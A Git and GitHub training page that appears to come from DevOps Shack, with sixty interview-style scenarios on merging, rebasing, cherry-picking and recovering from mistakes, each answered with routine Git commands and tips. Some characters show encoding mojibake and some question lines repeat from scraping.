Scenario Questions
Real-world Git and GitHub situations and how a senior engineer handles them
Branching and Merging Workflows
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q1 You run git pull and Git stops with a merge conflict in app.py. What do you do?
Beginner
git pull and Git stops with a merge conflict in app.py. What do you do?Situation read โ Both you and a teammate changed the same lines. Git paused the merge and marked the file with conflict markers.
What I'd do โ
git statusto see the "both modified" files.- Open the file, find
<<<<<<<,=======,>>>>>>>, and decide what the final code should be. Talk to the author if the intent is unclear. - Remove the markers, then
git add app.py. - Run the tests, then
git commit(orgit merge --continue).
git status
git add app.py
git merge --continueWhy โ Git only knows both sides changed the same hunk, not which one is right. A human has to pick, and tests prove the result.
Interview tip โ Say you run tests before finishing the merge, not after.
Q2 Your feature branch is three weeks old and main has moved a lot. Merge main in, or rebase onto it?
Intermediate
main has moved a lot. Merge main in, or rebase onto it?Situation read โ A private, unshared branch can be rebased safely. A branch others have pulled cannot.
What I'd do โ
- If only I use the branch:
git fetch origin && git rebase origin/main, resolving conflicts commit by commit. - If others share it:
git merge origin/maininstead, so nobody has to reset. - Push with
git push --force-with-leaseafter a rebase. - Run the full test suite on the result either way.
Why โ Rebase gives a linear history that is easy to review. Merge preserves exact history and never rewrites commits others depend on.
Interview tip โ The deciding factor is "has anyone else based work on these commits", not personal taste.
Q3 The team argues about fast-forward merges versus merge commits on main. How do you settle it?
Beginner
main. How do you settle it?Situation read โ This is a policy choice, not a technical right or wrong.
What I'd do โ
- Ask what we need from history: a linear log for bisect and changelogs, or visible feature boundaries.
- For most product teams, pick squash merge in GitHub: one commit per PR, linear
main. - If we need to see feature groupings, use
--no-ffmerge commits. - Enforce the choice in repo settings (allow only the chosen merge button) instead of relying on convention.
git merge --ff-only feature # refuses if a merge commit would be needed
git merge --no-ff feature # always creates a merge commitWhy โ A setting that cannot be bypassed ends the argument and keeps history consistent.
Interview tip โ Mention that you disable the merge types you do not want in GitHub settings.
Q4 A teammate branched from the wrong base, and their PR shows 40 unrelated commits. How do you fix it?
Intermediate
Situation read โ The branch was cut from another feature branch, so the PR drags that feature's commits along.
What I'd do โ
- Identify the commits that really belong to the PR:
git log --oneline origin/main..HEAD. - Transplant only those onto the right base:
git rebase --onto origin/main <old-base-sha> my-branch
git push --force-with-lease- Confirm the PR now shows only the intended commits.
Why โ --onto replays commits in the range old-base..my-branch onto a new base, leaving the unwanted commits behind.
Interview tip โ git rebase --onto is the answer interviewers hope to hear for "wrong base" questions.
Q5 Before merging, you want to see exactly what the feature branch adds compared to main. Which commands?
Beginner
main. Which commands?Situation read โ Two questions: which commits, and which changes.
What I'd do โ
- Commits only on the feature:
git log --oneline main..feature. - Net changes the feature introduces since it diverged:
git diff main...feature(three dots). - File list only:
git diff --stat main...feature.
Why โ Three dots compares the feature tip against the merge base, so you see only the feature's work. Two dots compares both tips and also shows whatever main gained meanwhile.
Interview tip โ Explain the dot difference: it is a classic quick check.
Q6 Halfway through a merge you realise you pulled the wrong branch. How do you back out?
Beginner
Situation read โ The merge is still in progress (conflicts unresolved, no commit yet).
What I'd do โ
git merge --abortreturns the tree to the pre-merge state.- Verify with
git statusthat the working tree is clean. - Merge the correct branch.
Why โ --abort restores from ORIG_HEAD and the saved index. If you had uncommitted changes before starting the merge, Git may not restore them perfectly, so merge from a clean tree.
Interview tip โ Add that you stash or commit before any merge or rebase.
Q7 You keep resolving the same conflicts again and again while rebasing a long-lived branch. How do you stop?
Intermediate
Situation read โ Each replayed commit hits the same hunks, and you redo the resolution every time.
What I'd do โ
- Enable rerere (reuse recorded resolution):
git config --global rerere.enabled true. - Resolve once; Git records the preimage and your resolution under
.git/rr-cache. - On later rebases or merges the same conflict is auto-resolved. Review with
git diffand stage. - If a recorded resolution is wrong:
git rerere forget <path>.
Why โ Git fingerprints the conflict text and replays your earlier answer.
Interview tip โ rerere only records resolutions, it does not auto-stage them, so you still review.
Q8 You reverted a merged feature, fixed it, and merged the branch again, but the original changes are missing. What happened?
Advanced
Situation read โ Reverting a merge creates a commit that undoes the changes but leaves the original commits in history. Git thinks those commits are already merged, so a second merge brings nothing from them.
What I'd do โ
- Revert the revert on
main:git revert <revert-commit-sha>. This brings the original changes back. - Merge the fixed branch; only the new fix commits are added.
- Alternative: rebase or cherry-pick the feature commits to new SHAs on a fresh branch and open a new PR.
Why โ Merge logic works on commit ancestry, not content. The reverted commits remain ancestors.
Interview tip โ This is Linus's well-known "reverting a merge" caveat. Naming it shows depth.
Q9 Two branches both regenerated package-lock.json and it conflicts every time. What's the clean approach?
Intermediate
package-lock.json and it conflicts every time. What's the clean approach?Situation read โ Lockfiles are generated, so hand-merging them is error-prone.
What I'd do โ
- Resolve
package.jsonfirst (that is human-owned). - Take either side of the lockfile, then regenerate it:
git checkout --theirs package-lock.json
npm install
git add package-lock.json package.json- Optionally register a merge driver or CI check so the lockfile is verified with
npm ci.
Why โ The lockfile must match the final package.json. Regenerating guarantees consistency, and npm ci in CI catches drift.
Interview tip โ The same pattern applies to yarn.lock, poetry.lock, go.sum.
Q10 During a merge you want your version of one file wholesale and theirs for another. How?
Intermediate
Situation read โ Per-file decisions during a conflicted merge.
What I'd do โ
- Take our side for the file:
git checkout --ours config/prod.yaml. - Take their side for another:
git checkout --theirs docs/guide.md. - Stage both, then finish the merge.
git checkout --ours config/prod.yaml
git checkout --theirs docs/guide.md
git add config/prod.yaml docs/guide.md
git merge --continueWhy โ In a merge, "ours" is the branch you are on and "theirs" is the one being merged. In a rebase these are swapped.
Interview tip โ Distinguish this from -X theirs, which only auto-wins on conflicting hunks while still merging the non-conflicting ones.
Q11 You squash-merged a PR, and git branch -d feature says the branch is not fully merged. Is something wrong?
Intermediate
git branch -d feature says the branch is not fully merged. Is something wrong?Situation read โ Squash merge creates a new commit with different content ancestry. The original feature commits are not ancestors of main.
What I'd do โ
- Confirm the PR shows as merged on GitHub and the squash commit is in
main. - Delete the branch with
git branch -D feature. - Turn on "Automatically delete head branches" in repo settings, and run
git fetch --prunelocally.
Why โ -d checks ancestry, and squash breaks it. Content is merged but history is not.
Interview tip โ Know the trade-off: squash gives clean history but makes -d, git branch --merged and later merges from the same branch unreliable.
Q12 One developer renamed utils.py to helpers.py while another edited utils.py. Will merge handle it?
Intermediate
utils.py to helpers.py while another edited utils.py. Will merge handle it?Situation read โ Git does not store renames; it detects them by similarity when merging.
What I'd do โ
- Merge normally. With the default
ortstrategy, rename detection usually applies the edit tohelpers.py. - Check:
git statusandgit diff --name-status -M main...feature. - If similarity is too low (heavily edited file), you get a "rename/delete" conflict. Resolve by hand and keep the new name.
- Tune detection if needed:
git merge -X find-renames=40%.
Why โ Rename detection is content-similarity based, default threshold 50%.
Interview tip โ Advise doing renames in their own commit, with no content edits, so Git can track them.
Q13 A hotfix went straight into release/2.3. How do you make sure it also reaches main?
Intermediate
release/2.3. How do you make sure it also reaches main?Situation read โ Fixes made on a release branch must flow forward, or the bug returns in the next release.
What I'd do โ
- Open a PR from
release/2.3intomain(merge forward), or cherry-pick the fix with-x. - Prefer the reverse in future: fix on
mainfirst, then backport to the release branch. - Add a CI or checklist rule: no release-branch fix without a linked forward-port PR.
git switch main
git cherry-pick -x <hotfix-sha>Why โ -x records the origin SHA in the message, making backports traceable.
Interview tip โ "Fix forward first, backport second" is the policy answer most teams like.
Q14 How do you preview the result of a merge without actually creating a commit?
Beginner
Situation read โ You want to inspect the merged tree and run tests before committing.
What I'd do โ
git merge --no-commit --no-ff feature.- Build and test the working tree.
- Accept with
git commit, or discard withgit merge --abort.
Why โ --no-ff ensures a merge is staged even when a fast-forward would be possible; --no-commit stops before creating the commit.
Interview tip โ git merge-tree --write-tree main feature can also compute the result without touching your working tree (Git 2.38+).
Q15 Someone asks which branches contain a particular commit, for example a security fix. How do you find out?
Beginner
Situation read โ You need to confirm whether the fix has reached release branches.
What I'd do โ
git branch -r --contains <sha>lists remote branches containing it.git tag --contains <sha>lists tags, which tells you the first release that shipped it.git describe --contains <sha>gives the nearest tag name.
Why โ Containment is just ancestry: a branch contains the commit if the commit is reachable from its tip.
Interview tip โ If the fix was cherry-picked, the SHA differs. Search with git log --grep "cherry picked from" or use git cherry.
Q16 A bug appeared sometime in the last 200 commits. How do you find the culprit fast?
Intermediate
Situation read โ Binary search over history needs a known good commit and a reliable test.
What I'd do โ
- Start:
git bisect start,git bisect bad HEAD,git bisect good v2.1.0. - Automate with a script that exits 0 for good and non-zero for bad:
git bisect run ./scripts/repro.sh
git bisect reset- Read the reported first bad commit and inspect it with
git show.
Why โ 200 commits need about 8 steps. Exit code 125 in the script tells bisect to skip an untestable commit.
Interview tip โ Linear history (squash or rebase) makes bisect cleaner, since merge commits can confuse results.
Q17 You need to merge a repo that has no common history with yours. Git refuses. What now?
Intermediate
Situation read โ fatal: refusing to merge unrelated histories appears because the two repos have no shared ancestor.
What I'd do โ
- Add the other repo as a remote and fetch it.
- Merge deliberately:
git remote add other ../other-repo
git fetch other
git merge other/main --allow-unrelated-histories- Resolve add/add conflicts (README, .gitignore), then commit.
Why โ The safety check exists to stop accidental merges of the wrong repo. The flag is an explicit confirmation.
Interview tip โ For a cleaner layout, first move the other repo's files into a subdirectory with git filter-repo --to-subdirectory-filter.
Q18 A merge commit looks empty in git show, but a bug slipped in through it. How do you inspect it?
Advanced
git show, but a bug slipped in through it. How do you inspect it?Situation read โ Default git show on a merge prints a combined diff showing only conflict-resolution changes. If resolution was wrong ("evil merge"), the change lives there.
What I'd do โ
git show --cc <merge-sha>shows only hunks that differ from all parents.- Compare against each parent:
git diff <merge-sha>^1 <merge-sha>andgit diff <merge-sha>^2 <merge-sha>. git show -m --first-parent <merge-sha>shows the diff against the first parent only.- Rebuild the merge to compare:
git checkout <merge-sha>^1 && git merge <merge-sha>^2.
Why โ Conflict resolutions are not attributed to either side, so you have to compare against each parent to see what the merger did.
Interview tip โ This is why many teams prefer squash merges for features: the PR diff is the whole change.
Q19 You must combine two repositories into a monorepo and keep full history for both. How?
Advanced
Situation read โ Copying files loses history and blame. We want a real merge.
What I'd do โ
- In each source repo, rewrite history into a subdirectory (work on a fresh clone):
git clone svc-a svc-a-rewrite && cd svc-a-rewrite
git filter-repo --to-subdirectory-filter services/svc-a- In the monorepo:
git remote add svc-a ../svc-a-rewrite && git fetch svc-a. git merge svc-a/main --allow-unrelated-histories -m "Import svc-a".- Repeat for the other repo, then archive the old repos.
Why โ Rewriting paths first prevents file collisions and keeps git log -- services/svc-a and blame working.
Interview tip โ Mention git subtree add as the simpler option when path-prefixed history is enough.
Q20 Your repo has 300 stale branches locally and remotely. How do you clean up safely?
Beginner
Situation read โ Merged branches are safe to delete, others need a check.
What I'd do โ
git fetch --pruneto drop stale remote-tracking refs.- List merged local branches:
git branch --merged main, and delete withgit branch -d. - Delete a remote branch:
git push origin --delete old-branch. - Turn on auto-delete of head branches in GitHub and set
fetch.prune true.
git branch --merged main | grep -vE '^\*|main|develop' | xargs -r git branch -dWhy โ -d refuses unmerged branches, giving a safety net.
Interview tip โ Squash-merged branches will not show in --merged; cross-check with the closed PR list.
Q21 You are mid-feature and an urgent bug needs a fix on another branch. You don't want to stash or commit half-done work. What do you do?
Intermediate
Situation read โ Switching branches would disturb your working tree.
What I'd do โ
- Create a second working directory on the same repo:
git worktree add ../hotfix-wt -b hotfix/login origin/main
cd ../hotfix-wt- Fix, test, push from there.
- Clean up:
git worktree remove ../hotfix-wt.
Why โ Worktrees share one object database, so there is no second clone and no stash juggling. Each branch can only be checked out in one worktree at a time.
Interview tip โ Worktrees are also great for running a long test suite on one branch while coding on another.
Q22 A mass reformat commit (Prettier, Black) ruined git blame. How do you recover useful blame?
Intermediate
git blame. How do you recover useful blame?Situation read โ Blame now attributes every line to the formatting commit.
What I'd do โ
- Put the formatting commit SHA in
.git-blame-ignore-revsat the repo root. - Tell local Git to use it:
git config blame.ignoreRevsFile .git-blame-ignore-revs. - GitHub's blame view reads that file automatically, no setup needed.
- Ad hoc:
git blame --ignore-rev <sha> file.py.
Why โ Blame skips the listed commits and attributes lines to the previous meaningful change.
Interview tip โ Do formatting changes as one isolated commit so the ignore list stays short.
Q23 Conflict markers are hard to understand because you cannot see the original text. How do you get more context?
Intermediate
Situation read โ The default conflict style shows only two sides.
What I'd do โ
- Switch to the three-way style:
git config --global merge.conflictStyle zdiff3(Git 2.35+; usediff3on older versions). - Re-create markers in the current file:
git checkout --conflict=zdiff3 -- file. - Now the middle
|||||||section shows the common ancestor, so you see what each side changed. - Use
git mergetoolor an IDE three-pane view for large conflicts.
Why โ Knowing the base tells you who changed what, which is often the whole puzzle.
Interview tip โ zdiff3 also trims common lines from the markers, making them shorter than diff3.
Q24 You abandoned an old branch's approach, but want Git to record it as merged so it never resurfaces. What do you do?
Advanced
Situation read โ You want ancestry without content: a merge that keeps our tree unchanged.
What I'd do โ
- On
main:git merge -s ours old-approach -m "Mark old-approach as merged; superseded". - The result tree equals
main's, butold-approachcommits are now ancestors. - Future merges of that branch bring in only new commits.
Why โ -s ours is a strategy that ignores the other side's content entirely. It is different from -X ours, which only prefers our side in conflicts.
Interview tip โ Use sparingly; it hides discarded work. Document the reason in the message.
Q25 You forked a repo and need to keep your fork's main in sync with upstream. How?
Beginner
main in sync with upstream. How?Situation read โ Your fork has only origin; you need the original as a second remote.
What I'd do โ
git remote add upstream https://github.com/ORG/REPO.git.git fetch upstream.git switch main && git merge --ff-only upstream/main(orgit rebase upstream/main).git push origin main.
Or use the GitHub UI "Sync fork" button, or gh repo sync OWNER/fork.
Why โ --ff-only guarantees your fork's main stays a pure mirror and fails loudly if you committed there by mistake.
Interview tip โ Keep your work on topic branches and never commit to your fork's main.
Undoing Mistakes
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q26 You committed on main when you meant to be on a feature branch. Nothing is pushed. Fix it.
Beginner
main when you meant to be on a feature branch. Nothing is pushed. Fix it.Situation read โ The commit exists locally only, so history can be moved freely.
What I'd do โ
- Create the branch at the current commit:
git branch feature/login. - Move
mainback:git reset --hard origin/main(orHEAD~1for one commit). git switch feature/login; your commit is intact.
Why โ Branches are just pointers. Creating a new pointer first means the reset cannot lose anything.
Interview tip โ Always create the safety branch before running reset --hard.
Q27 You made a typo in your last commit message and have not pushed.
Beginner
Situation read โ Only the message needs change.
What I'd do โ
git commit --amend -m "Fix login redirect for SSO users".- To also add a forgotten file:
git add file && git commit --amend --no-edit.
Why โ Amend replaces the last commit with a new one (new SHA). That is safe only while nobody else has the old one.
Interview tip โ If it is already pushed to a shared branch, do not amend; add a follow-up commit instead.
Q28 A bad commit is already on shared main. Others have pulled it. How do you undo it?
Intermediate
main. Others have pulled it. How do you undo it?Situation read โ Rewriting shared history would break everyone's clones.
What I'd do โ
git revert <bad-sha>creates a new commit that inverts the change.- Push normally:
git push origin main. - For several commits:
git revert --no-commit A..B && git commit. - Open a ticket to fix the root cause properly, then reintroduce the change.
Why โ Revert adds history instead of removing it, so every clone stays compatible.
Interview tip โ "Revert shared, reset private" is the one-line rule.
Q29 You ran git reset --hard and lost uncommitted-then-committed work. Can you get it back?
Intermediate
git reset --hard and lost uncommitted-then-committed work. Can you get it back?Situation read โ If the work was ever committed, the commits still exist as unreachable objects and the reflog records where HEAD was.
What I'd do โ
git reflogand find the entry before the reset, such asHEAD@{2}.- Restore:
git reset --hard HEAD@{2}, or safer,git branch rescue HEAD@{2}. - Verify with
git log rescue.
Why โ Reflog entries last 90 days for reachable and 30 days for unreachable commits by default.
Interview tip โ Work that was never staged or committed is gone; reset --hard cannot be undone for those changes.
Q30 You need to revert a merge commit on main. git revert says "commit is a merge but no -m option was given".
Intermediate
main. git revert says "commit is a merge but no -m option was given".Situation read โ A merge has two parents, so Git cannot know which side's changes to undo.
What I'd do โ
- Pick the mainline parent, which is normally parent 1 (the branch merged into):
git revert -m 1 <merge-sha>. - Push the revert commit.
- Remember the re-merge caveat: to reapply the feature later, revert this revert first.
Why โ -m 1 means "keep the first-parent line, undo what the second parent brought in".
Interview tip โ Check parents with git show --no-patch --format=%P <sha>.
Q31 You deleted a local branch with unmerged work by mistake.
Beginner
Situation read โ Deleting a branch removes the pointer, not the commits.
What I'd do โ
- Git printed the tip SHA when you deleted:
Deleted branch x (was 3f9a1c2). Use it:git branch x 3f9a1c2. - Otherwise
git reflogand find the last commit on that branch. - Or check if the remote still has it:
git branch -r.
Why โ Objects stay in the repo until garbage collection prunes them.
Interview tip โ Recovery depends on acting before gc prunes, usually weeks away.
Q32 After git stash pop you got conflicts. Is your stash lost?
Intermediate
git stash pop you got conflicts. Is your stash lost?Situation read โ When pop conflicts, Git keeps the stash entry instead of dropping it.
What I'd do โ
git statusto see conflicted files and resolve them like a merge.git addthe resolved files, thengit resetto unstage if you want them as plain changes.- Drop the stash only when satisfied:
git stash drop. - To retry on a clean tree:
git checkout . && git stash pop.
Why โ Pop = apply + drop, but drop is skipped on failure, which protects you.
Interview tip โ Prefer git stash apply for risky cases; drop manually after verifying.
Q33 You stashed changes but your new, untracked files stayed behind.
Beginner
Situation read โ Plain git stash saves only tracked changes.
What I'd do โ
git stash push -u -m "wip: payment form"includes untracked files.- Add
-ato include ignored files too (rarely needed). - List with
git stash list, restore withgit stash pop.
Why โ Untracked files are not in the index or HEAD, so they must be requested explicitly.
Interview tip โ Always name stashes with -m. stash@{3} means nothing a week later.
Q34 You ran git add . and staged a file you didn't want to commit.
Beginner
git add . and staged a file you didn't want to commit.Situation read โ Only the index is wrong; the working file is fine.
What I'd do โ
git restore --staged secrets.envunstages it and keeps your edits.- Add it to
.gitignoreif it must never be committed. git statusto confirm.
Why โ restore --staged copies HEAD's version into the index. On older Git, git reset HEAD file does the same.
Interview tip โ Review with git diff --staged before every commit.
Q35 You want to discard local edits to one file and go back to the last commit.
Beginner
Situation read โ Working tree changes are unwanted.
What I'd do โ
git restore path/to/file, orgit restore .for everything.- For untracked files, preview first:
git clean -nd, thengit clean -fd.
Why โ These changes were never committed, so this cannot be undone. Hence preview with -n.
Interview tip โ Mention that git stash is the non-destructive alternative if you are unsure.
Q36 You made several commits in detached HEAD state and then switched branches.
Beginner
Situation read โ Git warned you about leaving commits behind. They are unreachable from any branch.
What I'd do โ
git reflogand find the last commit made in detached state.git branch rescued-work <sha>(orgit switch -c rescued-work <sha>).- Merge or cherry-pick as needed.
Why โ Reflog tracks HEAD movement even without branches.
Interview tip โ If still in detached HEAD, just run git switch -c new-branch before leaving.
Q37 You committed a 500 MB video locally, not pushed yet. How do you remove it from the commit?
Beginner
Situation read โ If it's in the last commit only, amend. If it's earlier, rewrite.
What I'd do โ
- Last commit:
git rm --cached video.mp4 && git commit --amend --no-edit. - Earlier commit:
git rebase -i origin/main, mark the commitedit, remove the file,git commit --amend,git rebase --continue. - Add
*.mp4to.gitignoreor track via Git LFS. - Confirm:
git log --stat origin/main..HEAD.
Why โ The blob is only in your local repo and gets collected after reflog expiry, so pushing never exposes it.
Interview tip โ Run git count-objects -vH and git gc --prune=now if you want it gone immediately.
Q38 A rebase went badly and your branch is a mess. How do you return to the state before the rebase?
Intermediate
Situation read โ Rebase rewrites commits, but the originals still exist.
What I'd do โ
- If still in progress:
git rebase --abort. - If finished:
git reflogand find the entryrebase (start); take the one just before it. git reset --hard HEAD@{N}, or useORIG_HEADstraight after the rebase:git reset --hard ORIG_HEAD.
Why โ ORIG_HEAD is set to the previous tip by rebase, merge and reset.
Interview tip โ ORIG_HEAD is overwritten by the next such command, so act immediately.
Q39 One commit mixes a refactor and a bug fix. Reviewers want them split.
Intermediate
Situation read โ You need two commits from one, with hunks assigned correctly.
What I'd do โ
git rebase -i HEAD~3, mark the commitedit.git reset HEAD^to unstage it, leaving changes in the tree.git add -pto stage the refactor hunks, commit, then stage and commit the fix.git rebase --continue.
Why โ Mixed reset keeps the changes but drops the commit, letting you recommit selectively.
Interview tip โ Small, single-purpose commits make bisect and revert far cheaper.
Q40 Your local main is a mess after experiments. You want it to exactly match the remote.
Beginner
main is a mess after experiments. You want it to exactly match the remote.Situation read โ You accept losing all local-only commits and changes on this branch.
What I'd do โ
- Keep a safety net:
git branch backup-main. git fetch origin.git reset --hard origin/main.- Remove stray files:
git clean -fd(after-n).
Why โ Fetch updates the remote-tracking ref without touching your branch. Reset then moves your branch and tree to it.
Interview tip โ git pull would try to merge your mess; reset is the clean tool here.
Q41 A release introduced a regression from five consecutive commits. How do you revert them as one change?
Intermediate
Situation read โ You want one clean revert rather than five.
What I'd do โ
- Find the range:
git log --oneline -8. git revert --no-commit OLDEST^..NEWESTapplies all inverses to the index, newest first.- Fix conflicts if later commits overlap, then
git commit -m "Revert checkout rewrite (INC-4821)". - Push and open a PR for review.
Why โ --no-commit lets you bundle the reverts and describe them with the incident reference.
Interview tip โ Alternative: revert the single squash or merge commit that brought the work in.
Q42 A teammate force-pushed to main and your commits vanished from the remote. How do you recover?
Advanced
main and your commits vanished from the remote. How do you recover?Situation read โ The remote branch pointer moved; the old commits still exist in clones and, for a while, on the server.
What I'd do โ
- Check your clone:
git reflog show origin/mainshows the old remote tip. - Restore the branch pointer:
git push origin <old-sha>:refs/heads/main --force-with-lease. Coordinate first. - On GitHub, the push activity or Events API shows the previous SHA:
gh api repos/ORG/REPO/events. - Add branch protection to block force pushes to
main.
Why โ Anyone with an older clone holds the objects, so the data is rarely truly lost.
Interview tip โ Use --force-with-lease, never plain --force, and block both on protected branches.
Q43 You think commits were lost and the reflog entry has expired. Can anything still be found?
Advanced
Situation read โ If gc has not pruned the objects yet, they exist as dangling commits even without reflog entries.
What I'd do โ
git fsck --lost-found --no-reflogslists dangling commits and blobs.- Inspect:
git show <sha>orgit log -1 <sha>. - Rescue:
git branch recovered <sha>. - Stop all
git gcactivity:git config gc.auto 0.
Why โ Pruning happens only after gc.pruneExpire (default 2 weeks) for unreachable objects.
Interview tip โ Also ask whether a teammate, CI runner or fork has a copy.
Q44 You edited a file with a debug print and a real fix. You want to commit only the fix.
Beginner
Situation read โ Two changes live in one file.
What I'd do โ
git add -p file.py.- Answer
yto the fix hunk,nto the debug hunk,sto split a hunk,eto edit it by hand. git diff --stagedto verify, then commit.- Remove the debug line afterwards.
Why โ Patch mode stages hunks, not whole files, so commits stay focused.
Interview tip โ Mention git commit -p as a shortcut.
Q45 You need to stash only two files and keep the rest of your changes in place.
Intermediate
Situation read โ Default stash grabs everything.
What I'd do โ
git stash push -m "wip: parser" -- src/parser.py src/lexer.py.- Or interactively:
git stash push -p. - To stash unstaged work but keep what is staged:
git stash push --keep-index.
Why โ Pathspecs after -- limit the stash to those files (Git 2.13+).
Interview tip โ Know --keep-index for testing exactly what you are about to commit.
Q46 You made four messy "wip" commits locally. You want a single clean commit before pushing.
Intermediate
Situation read โ Local, unpushed history can be collapsed.
What I'd do โ
git reset --soft HEAD~4moves the branch back but leaves all changes staged.git commit -m "Add retry logic to payment client".- Alternative:
git rebase -i HEAD~4and mark later commitssquashorfixup.
Why โ Soft reset only moves the branch pointer; index and working tree stay as they are.
Interview tip โ git commit --fixup <sha> plus git rebase -i --autosquash is the polished workflow.
Q47 You committed .env earlier and want Git to stop tracking it but keep the local copy.
Beginner
.env earlier and want Git to stop tracking it but keep the local copy.Situation read โ .gitignore only affects untracked files, so a tracked file must be removed from the index.
What I'd do โ
git rm --cached .env.- Add
.envto.gitignore. - Commit:
git commit -m "Stop tracking .env". - If it was pushed, treat contents as leaked: rotate every secret in it.
Why โ Removing from the index does not remove it from history. Old commits still hold the file.
Interview tip โ Rotation, not deletion, is what actually fixes a leaked secret.
Q48 You merged locally and then realised it was wrong. It has not been pushed.
Intermediate
Situation read โ A local merge commit can simply be dropped.
What I'd do โ
git reset --hard ORIG_HEADreturns to the pre-merge tip if you act right after.- Otherwise:
git reset --hard HEAD^1, which moves back to the first parent. - Check with
git log --oneline --graph -5.
Why โ The merge is only a commit on your local branch, and nobody else has it.
Interview tip โ If already pushed, use git revert -m 1 instead.
Q49 A bug fix commit on main must be reverted from release/3.0, but later commits touched the same lines.
Advanced
main must be reverted from release/3.0, but later commits touched the same lines.Situation read โ A plain revert will conflict because the surrounding code changed.
What I'd do โ
git switch release/3.0 && git revert <sha>.- Resolve conflicts using
zdiff3markers, comparing against the original commit's diff:git show <sha>. - If dependent commits are required, decide: revert those too, or fix forward with a targeted patch.
- Run the release test suite, then open a PR to the release branch.
Why โ Revert is a reverse cherry-pick, so it is only as clean as the surrounding context.
Interview tip โ Say you would ask whether the release needs the revert at all, or a smaller targeted fix.
Q50 You dropped a stash entry accidentally and need it back.
Advanced
Situation read โ A dropped stash is an unreachable commit; Git printed its SHA when you dropped or popped it.
What I'd do โ
- If you saw
Dropped refs/stash@{0} (abc123...), rungit stash apply abc123. - Otherwise search dangling commits:
git fsck --no-reflogs --unreachable | awk '/commit/ {print $3}' \
| xargs git log --no-walk --format='%h %ad %s' --date=short- Look for "WIP on
" messages and apply the right one with git stash apply <sha>.
Why โ A stash is a merge commit with two or three parents; it stays until pruned.
Interview tip โ Do this fast, and avoid running git gc.
Rebase, Cherry-pick and History Rewriting
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q51 Your PR branch has ten commits like "wip", "fix typo", "oops". How do you clean it up before review?
Beginner
Situation read โ Private, unreviewed history can be rewritten. Reviewers want a readable story.
What I'd do โ
git rebase -i origin/main.- Keep the first meaningful commit as
pick; change the noise commits tosquash(merge messages) orfixup(discard messages). - Rewrite the final messages in the editor.
git push --force-with-lease.
Why โ One logical commit per change makes review, bisect and revert simple.
Interview tip โ Say you only rewrite commits nobody else has based work on.
Q52 You want the database migration commit to come before the code that uses it.
Beginner
Situation read โ Commit order is wrong, though the tree content is fine.
What I'd do โ
git rebase -i HEAD~5.- Move the
pickline for the migration above the dependent commit. - Resolve conflicts if both touch the same files, then
git rebase --continue. - Run tests at each step:
git rebase -i --exec "make test" HEAD~5.
Why โ Each commit should build and pass tests on its own, so bisect stays reliable.
Interview tip โ Reordering conflicts are a sign that the commits are not truly independent.
Q53 A critical fix on main must go to the release/4.1 branch only.
Beginner
main must go to the release/4.1 branch only.Situation read โ You need one commit, not a merge of all of main.
What I'd do โ
git switch release/4.1.git cherry-pick -x <sha>.- Run the release pipeline, then push or open a PR.
Why โ Cherry-pick re-applies the diff as a new commit; -x records the original SHA in the message for traceability.
Interview tip โ Fix on main first so the fix is never lost in the next release.
Q54 You must backport a feature made of 6 commits, including one merge commit.
Intermediate
Situation read โ Cherry-pick of a merge commit needs a mainline choice, and ranges skip merges by default.
What I'd do โ
- For plain commits:
git cherry-pick -x A^..F. - For a merge commit:
git cherry-pick -m 1 <merge-sha>applies the diff against the first parent. - Often simpler: cherry-pick the single squash commit if the PR was squashed.
- If it stalls: fix,
git add,git cherry-pick --continue, or--abort.
Why โ A merge has no single diff; -m chooses which parent to diff against.
Interview tip โ Squash-merged PRs make backports one-liners.
Q55 Branch B was built on top of branch A. A was squash-merged into main, and now B shows A's commits again.
Intermediate
main, and now B shows A's commits again.Situation read โ The squash commit has new content ancestry, so Git cannot tell A's old commits are already in main.
What I'd do โ
- Note A's last commit:
git log --oneline A. - Replay only B's own commits:
git fetch origin
git rebase --onto origin/main <A-tip-sha> B
git push --force-with-lease- The PR now contains only B's changes.
Why โ --onto takes the range A-tip..B and replants it on main.
Interview tip โ This is the daily pain of stacked branches with squash merging.
Q56 During review you get ten small change requests on old commits. How do you apply them cleanly?
Intermediate
Situation read โ You want fixes folded into the right commits, not a pile of "address review" commits.
What I'd do โ
- For each fix:
git add -p && git commit --fixup <target-sha>. - When done:
git rebase -i --autosquash origin/main. - Enable permanently:
git config --global rebase.autoSquash true. - Push with
--force-with-lease; mention it in the PR so reviewers re-check.
Why โ Fixup commits are auto-ordered and squashed, so history reads as if the code was right the first time.
Interview tip โ Some teams prefer review fixup commits until approval to ease re-review. Know both.
Q57 During a rebase, "ours" and "theirs" seem backwards. Why?
Intermediate
Situation read โ Rebase replays your commits onto the target, so Git checks out the target and applies your commits one by one.
What I'd do โ
- Remember: during rebase, "ours" is the branch being rebased onto (upstream), "theirs" is your commit being replayed.
- To keep your change:
git checkout --theirs file. - To keep upstream's version:
git checkout --ours file. git add file && git rebase --continue.
Why โ Git's internal "current branch" is the detached rebase target, so the labels flip compared to merge.
Interview tip โ A good interviewer answer: "I avoid the words and read the diff instead".
Q58 A commit from three days ago should never have been made. How do you remove it from your private branch?
Intermediate
Situation read โ The commit is in the middle of history and unshared.
What I'd do โ
git rebase -i <bad-sha>^.- Change
picktodropon that line (or delete it). - Resolve conflicts from later commits that depended on it.
git push --force-with-lease.
Why โ Rebase replays everything except the dropped commit. If the branch is shared, use git revert instead.
Interview tip โ Ask whether anyone else has the branch before dropping anything.
Q59 You committed for a month with the wrong email address. How do you fix authorship?
Intermediate
Situation read โ Commits carry author and committer identity that you can rewrite only by creating new commits.
What I'd do โ
- Fix config:
git config user.email "[email protected]". - Unpushed or private branch:
git rebase -r --root --exec 'git commit --amend --no-edit --reset-author'. - Whole repo with a mapping: use
git filter-repo --mailmap mailmap.txt. - Force-push, and warn collaborators to re-clone.
Why โ Identity is part of the commit hash, so changing it changes every descendant SHA.
Interview tip โ For display-only fixes, a .mailmap file changes git log and shortlog output without rewriting history.
Q60 You want to rebase a branch that contains merge commits without flattening them.
Advanced
Situation read โ Default rebase drops merge commits and linearises the commits.
What I'd do โ
git rebase --rebase-merges origin/main(-r) recreates the merge topology.- Check the todo list: it shows
label,reset,mergecommands. - Resolve conflicts inside the rebuilt merges as they appear.
- Compare afterwards:
git range-diff origin/main@{1}...HEAD.
